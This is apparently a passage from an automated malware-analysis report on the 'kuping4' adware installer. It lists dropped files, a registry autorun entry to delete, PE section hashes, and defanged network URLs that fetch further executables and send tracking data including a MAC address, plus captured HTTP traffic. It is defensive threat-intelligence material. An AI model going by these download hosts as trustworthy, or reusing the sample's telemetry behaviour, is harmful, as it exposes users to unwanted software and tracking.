    C:\kuping4\skinConfig\ĬÈÏ\ui\about\about.png (1176 bytes)
    %Documents and Settings%\%current user%\Cookies\Current_User@mmstat[1].txt (170 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\upload\m.png (3 bytes)
    C:\kuping4\MSGBoxSkin\UI\warning.png (3 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\upload\¡Ì.png (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\list\page2.png (106 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\list\sure.png (634 bytes)
    C:\kuping4\UserBehaviorStatistics.dll (471 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\My-resources\list_theme.png (196 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\tooltipUi\logo.png (584 bytes)
    C:\kuping4\kp4_Mini.exe (157 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\AllApplication_Layer.ini (1 bytes)
    C:\kuping4\Uninstall\skinConfig_un\ĬÈÏ\ui\Uninstall\input.png (212 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\upload\Label-input-box1.png (2 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\upload\continue.png (382 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\delete.png (486 bytes)
    C:\kuping4\uninstall.exe (2145 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IconListEx\add-m.png (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\daohang\recover.png (3 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\Menu\SepLine.png (99 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\SkinCenter\skin_bg_01.png (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\slice\updown.png (280 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\HomePageShow_Layer.ini (3 bytes)
    C:\kuping4\Appsoftconfig\APPversion.ini (59 bytes)
    C:\kuping4\MSGBoxSkin\UI\faild.png (2 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\ImageLook\refresh.png (1 bytes)
    C:\kuping4\Universal\UniversalMiniSkin\ĬÈÏ\ui\mini\seach.png (1 bytes)
    C:\kuping4\Update\SkinResource\Exit.png (1 bytes)
    C:\kuping4\Appsoftconfig\image\buttonplay.png (196 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\UpdateCheckPage.ini (261 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\login\ui\loading2.png (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\UpdateInfoPage.ini (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\CenterDlgConfig\MyBaoku.ini (3 bytes)
    C:\kuping4\DeskTopPop.exe (1529 bytes)
    C:\kuping4\Appsoftconfig\image\sou.png (196 bytes)
    C:\kuping4\Update\SkinResource\IsNew.png (196 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\newUi\Boot-screen.png (196 bytes)
    C:\kuping4\Universal\UniversalMiniSkin\ĬÈÏ\ui\mini\close.png (2 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\DownloadWebDlg\scroll.png (410 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\mennu-bg.png (363 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\list\blue.png (90 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\min.png (338 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\tooltipUi\cancel.png (2 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\list\collection.png (3 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\feedback\set.png (234 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\list\nextpage.png (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\BootScreenNavigation_Layer.ini (2 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\color\brown.png (286 bytes)
    C:\kuping4\Update\SkinResource\BKStep1.png (902 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\newUi\icon.png (392 bytes)
    %Documents and Settings%\%current user%\Cookies\Current_User@cnzz.mmstat[1].txt (205 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\SettingMenuDlgConfig\MainMenuDlgSkin.ini (2 bytes)
    %Documents and Settings%\%current user%\Start Menu\Programs\¿áÆÁ4\жÔØ¿áÆÁ4.lnk (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\progress\progress.png (179 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\Personal-information\save.png (3 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\SystemThemeNavigation_Layer.ini (196 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\color\pink.png (290 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\newUi\wallpaper.png (196 bytes)
    C:\kuping4\MSGBoxSkin\UI\error.png (1 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMZG52N\21[1].gif (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\Menu\doc_plus_icon&16.png (264 bytes)
    C:\kuping4\unrar.dll (824 bytes)
    C:\kuping4\Uninstall\skinConfig_un\ĬÈÏ\ui\Uninstall\down.png (161 bytes)
    C:\kuping4\Update\SkinResource\ProgressBar.png (984 bytes)
    C:\kuping4\QuickenFunctionConfig\deskIco\DeskIconConfig.xml (8 bytes)
    C:\kuping4\KPMsgBoxDll.dll (2694 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\Menu\feedback_icon.png (392 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\slice\Silence-set_button.png (1 bytes)
    C:\kuping4\Uninstall\skinConfig_un\ĬÈÏ\ui\Uninstall\finish2.png (588 bytes)
    C:\kuping4\Universal\UniversalMiniSkin\ĬÈÏ\ui\mini\small.png (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\Menu\focus-2.png (200 bytes)
    C:\kuping4\TempDownLoad\Home\11274.jpg (392 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\list\delete-button.png (2 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\CenterDlgConfig\WebPage.ini (594 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\UpdateSkin\list-bg.png (96 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\mouse.png (549 bytes)
    C:\kuping4\skinConfig\skinconfig.ini (84 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\slice\Download-set.png (966 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\slice\Multi.png (998 bytes)
    C:\kuping4\login.dll (2185 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\right_bg.png (194 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\slice\Application-Settings.png (953 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\My-share\bg.png (196 bytes)
    %Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\Quick Launch\¿áÆÁ4.lnk (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\line_h.png (92 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\WebContrl_Layer.ini (775 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ImageLookDlgConfig\MainSkin.ini (129 bytes)
    C:\kuping4\TongJICNZZ.dll (1333 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\slice\application.png (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\UpdateSkin\scroll_down.png (982 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\color\black.png (316 bytes)
    %Documents and Settings%\%current user%\Desktop\¿áÆÁ4.lnk (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\start.png (941 bytes)
    C:\kuping4\dgmon.dll (471 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\login\ui\Input-box.png (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\upload\view-bg.png (509 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\ImageLook\fail.png (196 bytes)
    C:\kuping4\Uninstall\skinConfig_un\ĬÈÏ\ui\Uninstall\lijiuninstall.png (784 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\Screening-bg2.png (102 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\UpdateNotice\Alert.png (1 bytes)
    C:\kuping4\Appsoftconfig\image\Iebuttonlogo.png (196 bytes)
    C:\kuping4\TempDownLoad\Home\home.xml (1764 bytes)
    C:\kuping4\livability.dll (510 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\H9LJNTUH\tongji_baidu[1].htm (295 bytes)
    C:\kuping4\Update\SkinResource\Fnish.png (196 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\fail.png (3 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\login\WebContro.ini (617 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\Menu\show.png (413 bytes)
    C:\kuping4\Kp_BootClr.exe (1137 bytes)
    C:\kuping4\Repairer.exe (549 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\re.png (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\UpdateNormal.ini (641 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\list\backpage.png (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\color\white.png (283 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\KP_7D\skinconfig\ĬÈÏ\ui\msgbox\bg_small.png (196 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\Menu\set_1.png (522 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\kupingbg-03_03.png (980 bytes)
    C:\kuping4\Appsoftconfig\image\cmd.png (196 bytes)
    C:\kuping4\Update\SkinResource\Point.png (1 bytes)
    C:\kuping4\BootStart.dll (157 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\upload\cancel.png (196 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\add-app-bg_03.png (412 bytes)
    C:\kuping4\Universal\UniversalMiniSkin\ĬÈÏ\ui\mini\logo.png (196 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\about\delete.png (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\notice\Alert.png (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\App-manager.png (654 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\display_shadow.png (115 bytes)
    C:\kuping4\Universal\UniversalCpaSkin.rar (1098 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\list\app-button.png (2 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\slice\content.png (416 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\UpdateSkin\delete.png (486 bytes)
    C:\kuping4\MSGBoxSkin\UI\infomation.png (2 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\mennu-bg2.png (1 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CPIRWXAZ\stat[1].php (770 bytes)
    C:\kuping4\Appsoftconfig\image\coculation.png (196 bytes)
    %Documents and Settings%\%current user%\UserData\YJM90VAL\img.wallba[1].xml (266 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\tooltipUi\cut_button-hand.png (2 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\Personal-information\headbg.png (556 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\DownloadWebImageDlg\MainSkin.ini (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\daohang\My-resources.png (392 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\Menu\about.png (606 bytes)
    C:\kuping4\Uninstall\skinConfig_un\ĬÈÏ\ui\Uninstall\dan_xuan.png (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\UpdateSkin\bg_vein.png (268 bytes)
    C:\kuping4\Appsoftconfig\button.xml (2 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\LocTween_Layer.ini (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\login-btn.png (2 bytes)
    C:\kuping4\Update\SkinResource\Cancel.png (196 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\UpdateNoticeDlg.ini (2 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\SkinCenter\scroll_thumb.png (842 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Internet Explorer\MSIMGSIZ.DAT (8 bytes)
    %Documents and Settings%\%current user%\Cookies\Current_User@cnzz[1].txt (165 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\SeverTween_Layer.ini (1 bytes)
    C:\kuping4\Update\SkinResource\BKStep2.png (196 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\screen.png (314 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMZG52N\h[2].js (12 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\upload\tip.png (591 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\set.png (549 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\slice\notchoose.png (879 bytes)
    C:\kuping4\version.ini (44 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\color\red.png (318 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\UpdateSkin\scroll_up.png (927 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\Personal-information\head60.png (392 bytes)
    C:\kuping4\Uninstall\skinConfig_un\ĬÈÏ\ui\Uninstall\up.png (160 bytes)
    C:\kuping4\SystemConfig\LocWallpaleXml.xml (196 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\slice\Software-update.png (998 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\ImageLook\loading.png (3 bytes)
    C:\kuping4\Update\UpData.dll (2342 bytes)
    C:\kuping4\Update\SkinResource\Update.png (196 bytes)
    C:\kuping4\QuickenFunctionConfig\Setup\CpaConfig.xml (8 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\newUi\local.png (196 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\SkinCenter\scroll_block.png (763 bytes)
    C:\kuping4\IndividualCenter.dll (5389 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\list\list-bg2.png (2 bytes)
    C:\kuping4\SkinCenter.dll (3635 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\daohang\myDownLoad.png (392 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ResourceNavigation_Layer.ini (974 bytes)
    C:\kuping4\MSGBoxSkin\UI\yes_button.png (1 bytes)
    C:\kuping4\Appsoftconfig\softtempfile\soft.xml (196 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IconListEx\iconlist_bg.png (314 bytes)
    C:\kuping4\Appsoftconfig\image\buttonsou.png (196 bytes)
    C:\kuping4\skinConfig\SkinSetting.xml (1 bytes)
    C:\kuping4\MSGBoxSkin\UI\question.png (2 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\UpdateNotice\bkimg.png (429 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\slice\Directory-box_bg.png (397 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\KP_7D\skinconfig\installedSoftInfo.ini (1952 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\slice\bg-4.png (287 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\feedback\submit.png (196 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\81AVK52J\core[1].php (799 bytes)
    C:\kuping4\Uninstall\skinConfig_un\ĬÈÏ\ui\Uninstall\check-box.png (540 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\flowerpot.png (3 bytes)
    C:\kuping4\Update\info.ini (18 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\Menu\doc_empty_icon&16.png (293 bytes)
    C:\kuping4\Update\UDStatictical.dll (1882 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\slice\choose.png (883 bytes)
    C:\kuping4\TempDownLoad\TagInfo\list_xp.xml (2 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\UpdateSkin\finish-button.png (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\SettingMenuDlgConfig\ConventionalMenu_Layer.ini (1 bytes)
    C:\kuping4\KPConfig.inf (3 bytes)
    C:\kuping4\Uninstall\installedSoftInfo.ini (984 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\kupingbg-02.png (588 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\Personal-information\share.png (472 bytes)
    C:\kuping4\TempDownLoad\Home\11277.jpg (196 bytes)
    C:\kuping4\SystemConfig\LocThemeXml.xml (416 bytes)
    C:\kuping4\ThemeInstall.dll (863 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\Screening-bg.png (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\upload\caption-bg.png (417 bytes)
    C:\kuping4\MSGBoxSkin\UI\bg_top.png (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\cheakskin\MainSkin.ini (1 bytes)
    C:\kuping4\MSGBoxSkin\UI\cancel-button.png (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\refresh.png (726 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\list\suspend.png (504 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\list\tempfile.tmp (184 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\apple.png (3 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\DesktopWallpaperNavigation_Layer.ini (196 bytes)
    C:\kuping4\Update\SkinResource\PopupBox.png (392 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\upload\tag.png (195 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\login\ui\kankan.png (1725 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\feedback\delete.png (486 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\NoLogin_Layer.ini (941 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\My-resources\use.png (196 bytes)
    C:\kuping4\Uninstall\skinConfig_un\ĬÈÏ\ui\Uninstall\bg_01.png (392 bytes)
    C:\kuping4\TempDownLoad\SearchBuff.ini (23 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\upload\tag-bg.png (350 bytes)
    C:\kuping4\MSGBoxSkin\UI\no_button.png (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\color\purple.png (325 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\list\progress_frame.png (3 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\login\ui\failure.png (1 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CPIRWXAZ\h[2].js (12 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\SettingMenuDlgConfig\DownLoadMenu_Layer.ini (3 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\UpdateSkin\min.png (338 bytes)
    C:\kuping4\Uninstall\skinConfig_un\ĬÈÏ\ui\Uninstall\xiezai.png (375 bytes)
    C:\kuping4\TempDownLoad\Home\11278.jpg (588 bytes)
    C:\kuping4\Update\SkinResource\Ok.png (196 bytes)
    C:\kuping4\Update\SkinResource\FnishSmall.png (2 bytes)
    C:\kuping4\Uninstall\skinConfig_un\ĬÈÏ\ui\Uninstall\mennu_narrow.png (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\progress\icon_focus.png (317 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\skin.png (629 bytes)
    C:\kuping4\Update\Skin.ini (2 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\jindutiao1.png (99 bytes)
    C:\kuping4\ExpandPackCheck.exe (1725 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\add-app-bg.png (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\icon.png (1764 bytes)
    C:\kuping4\MSGBoxSkin\UI\ok_button.png (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\focus3.png (357 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\AboutDlgConfig\MainDlg.ini (1 bytes)

  4. Delete the following value(s) in the autorun key (How to Work with System Registry):

    [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
    "kuping4" = "c:\kuping4\Kp_BootClr.exe"

  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  6. Reboot the computer.
*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

No information is available.

No information is available.

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
UPX0409643008000d41d8cd98f00b204e9800998ecf8427e
UPX14341763399683389445.47203978d1656cdc8bd3ebe307efaa9932b8f
.rsrc77414432768307203.328614d2b030b36e6b403314b58937aaf593

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:


Total found: 4
88a9b3e31998982eea246b762564c443
b9a2d5732a753d35e5225b719e77099a
37bd3e78933db6863bf17a82eba47c5c
53af0782e080923bfcca86f1cbc7530d

Network Activity

URLs

URL IP
hxxp://d.union.kuping.cc/download.php/kuping_b_53390.exe222.186.60.27
hxxp://youqian.baidu.com/download/bdBrowserSetup-5810-ftn_1000039714.exe115.239.211.50
hxxp://tj.153624.com/report/101.251.196.27
hxxp://config.153624.com/Public/conf/c-lock/1/1_4_3_2_2/53390.xml222.186.60.10
hxxp://config.153624.com/Public/tongji_baidu.html?ip=&mac=00-0C-29-64-A0-20&area=&channel_id=53390&install_way=1&soft_id=1&start_way=0&type=install&version=4.3.2.2222.186.60.10
hxxp://wallba.com.m.01cdn.com/Public/Configs/index.html?id=53390&class=silence
hxxp://c.split.cnzz.com/stat.php?id=4793307&web_id=4793307
hxxp://hm.e.shifen.com/h.js?7e36c4d74dc16bfa27cd9aea154b5de5
hxxp://hm.e.shifen.com/hm.gif?cc=1&ck=1&cl=32-bit&ds=1024x768&et=0&fl=11.6&ja=1&ln=en-us&lo=0&nv=1&rnd=185766198&si=7e36c4d74dc16bfa27cd9aea154b5de5&st=1&v=1.0.59&lv=1
hxxp://static.n.shifen.com/hmt/icon/21.gif
hxxp://z3.cnzz.com/stat.htm?id=4793307&r=&lg=en-us&ntime=none&repeatip=0&rtime=0&cnzz_eid=725810708-1402350084-&showp=1024x768&st=0&sin=&t=undefinedundefinedundefinedundefinedundefinedundefined&rnd=252340755
hxxp://c.split.cnzz.com/core.php?web_id=4793307&t=z
hxxp://wallba.com.m.01cdn.com/ImagesCache/335x335min/data/Image/2013hjw/3yue/7hao/chbz/19/20133795822390.jpg
hxxp://d.union.kuping.cc/Public/Configs/Functon_version.xml222.186.60.27
hxxp://hm.e.shifen.com/h.js?00d743cebf532de99c9b8d0cb34f0c40
hxxp://config.153624.com/Public/conf/open/1/1_4_3_2_2/10.jpg222.186.60.10
hxxp://d.union.kuping.cc/Public/Configs/Liveindex.html?id=53390222.186.60.27
hxxp://pcookie.split.cnzz.com/9.gif?abc=1&rnd=913603030
hxxp://config.153624.com/Public/analysis/motionsendway.xml222.186.60.10
hxxp://d.union.kuping.cc/Public/Configs/KpLiveControl/53390.xml222.186.60.27
hxxp://hm.e.shifen.com/hm.gif?cc=1&ck=1&cl=32-bit&ds=1024x768&et=0&fl=11.6&ja=1&ln=en-us&lo=0&nv=1&rnd=36732087&si=00d743cebf532de99c9b8d0cb34f0c40&st=1&v=1.0.59&lv=1&tt=cnzz统计
hxxp://config.153624.com/1.xml222.186.60.10
hxxp://pcookie.split.cnzz.com/app.gif?&cna=CRgdDIoZnicCAbhrJiboztvu
hxxp://tj.153624.com/behavior/101.251.196.27
hxxp://c.split.cnzz.com/stat.php?id=4833416&web_id=4833416
hxxp://config.153624.com/Public/conf/cpa/1/1_4_3_2_2/53390.xml222.186.60.10
hxxp://c.split.cnzz.com/core.php?web_id=4833416&t=z
hxxp://z9.cnzz.com/stat.htm?id=4833416&r=&lg=en-us&ntime=none&repeatip=0&rtime=0&cnzz_eid=2021464923-1402350090-&showp=1024x768&st=0&sin=&t=undefinedundefined&rnd=1983988927
hxxp://cc00011.h.cnc.ccgslb.com.cn/1/scheme/53390.xml
hxxp://d.union.kuping.cc/Public/Configs/KpInstall/AnImg.xml222.186.60.27
hxxp://xnop014.tlgslb.com/Public/Upload/Soft/kptoolbar_b_8.exe
hxxp://d.union.kuping.cc/Public/Configs/KpStartupControl/53390.xml222.186.60.27
hxxp://config.153624.com/Public/conf/media/1/1_4_3_2_2/53390.xml222.186.60.10
hxxp://config.153624.com/Public/conf/mini/1/1_4_3_2_2/53390.xml222.186.60.10
hxxp://config.153624.com/Public/conf/homepage/1/1_4_3_2_2/53390.xml222.186.60.10
hxxp://config.153624.com/Public/conf/icon/1/1_4_3_2_2/53390.xml222.186.60.10
hxxp://config.153624.com/Public/conf/bz_pop_xml/1/1_4_3_2_2/53390.xml222.186.60.10
hxxp://config.wallba.com/Public/Configs/KpInstall/AnImg.xml222.186.60.27
hxxp://eiv.baidu.com/hmt/icon/21.gif115.239.211.92
hxxp://img.wallba.com/Public/Configs/index.html?id=53390&class=silence222.186.60.7
hxxp://hm.baidu.com/h.js?7e36c4d74dc16bfa27cd9aea154b5de561.135.185.140
hxxp://pcookie.cnzz.com/app.gif?&cna=CRgdDIoZnicCAbhrJiboztvu42.120.219.171
hxxp://config.wallba.com/Public/Configs/Functon_version.xml222.186.60.27
hxxp://hm.baidu.com/h.js?00d743cebf532de99c9b8d0cb34f0c4061.135.185.140
hxxp://hzs21.cnzz.com/stat.htm?id=4833416&r=&lg=en-us&ntime=none&repeatip=0&rtime=0&cnzz_eid=2021464923-1402350090-&showp=1024x768&st=0&sin=&t=undefinedundefined&rnd=198398892742.156.140.22
hxxp://hzs6.cnzz.com/stat.htm?id=4793307&r=&lg=en-us&ntime=none&repeatip=0&rtime=0&cnzz_eid=725810708-1402350084-&showp=1024x768&st=0&sin=&t=undefinedundefinedundefinedundefinedundefinedundefined&rnd=25234075542.156.140.16
hxxp://img.kuping.cc/Public/Upload/Soft/kptoolbar_b_8.exe122.226.163.83
hxxp://img.wallba.com/ImagesCache/335x335min/data/Image/2013hjw/3yue/7hao/chbz/19/20133795822390.jpg222.186.60.7
hxxp://s4.cnzz.com/stat.php?id=4793307&web_id=47933071.99.192.15
hxxp://upgrade.kuping.cc/1/scheme/53390.xml103.224.232.40
hxxp://c.cnzz.com/core.php?web_id=4833416&t=z42.120.219.6
hxxp://config.wallba.com/Public/Configs/KpStartupControl/53390.xml222.186.60.27
hxxp://cnzz.mmstat.com/9.gif?abc=1&rnd=91360303042.120.219.171
hxxp://config.wallba.com/Public/Configs/Liveindex.html?id=53390222.186.60.27
hxxp://hm.baidu.com/hm.gif?cc=1&ck=1&cl=32-bit&ds=1024x768&et=0&fl=11.6&ja=1&ln=en-us&lo=0&nv=1&rnd=36732087&si=00d743cebf532de99c9b8d0cb34f0c40&st=1&v=1.0.59&lv=1&tt=cnzz统计61.135.185.140
hxxp://s21.cnzz.com/stat.php?id=4833416&web_id=48334161.99.192.16
hxxp://hm.baidu.com/hm.gif?cc=1&ck=1&cl=32-bit&ds=1024x768&et=0&fl=11.6&ja=1&ln=en-us&lo=0&nv=1&rnd=185766198&si=7e36c4d74dc16bfa27cd9aea154b5de5&st=1&v=1.0.59&lv=161.135.185.140
hxxp://c.cnzz.com/core.php?web_id=4793307&t=z42.120.219.6
hxxp://config.wallba.com/Public/Configs/KpLiveControl/53390.xml222.186.60.27

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /Public/analysis/motionsendway.xml HTTP/1.1

Host: config.153624.com

Connection: keep-alive

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17 SE 2.X MetaSr 1.0

Accept-Encoding: deflate,sdch

Accept-Language: zh-CN,zh;q=0.8

Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3

HTTP/1.1 200 OK

Server: nginx

Date: Mon, 09 Jun 2014 21:41:28 GMT

Content-Type: text/xml

Content-Length: 126

Last-Modified: Tue, 15 Apr 2014 02:37:17 GMT

Connection: keep-alive

ETag: "534c9b5d-7e"

Accept-Ranges: bytes

<?xml version="1.0" encoding="utf-8"?>..<root>..<data>...<send_time>0</send_time>...<send_way>1</send_way>..</data>..</root>....

GET /stat.htm?id=4833416&r=&lg=en-us&ntime=none&repeatip=0&rtime=0&cnzz_eid=2021464923-1402350090-&showp=1024x768&st=0&sin=&t=undefinedundefined&rnd=1983988927 HTTP/1.1

Accept: */*

Referer: hXXp://config.wallba.com/Public/Configs/Liveindex.html?id=53390

Accept-Language: en-us

Accept-Encoding: gzip, deflate

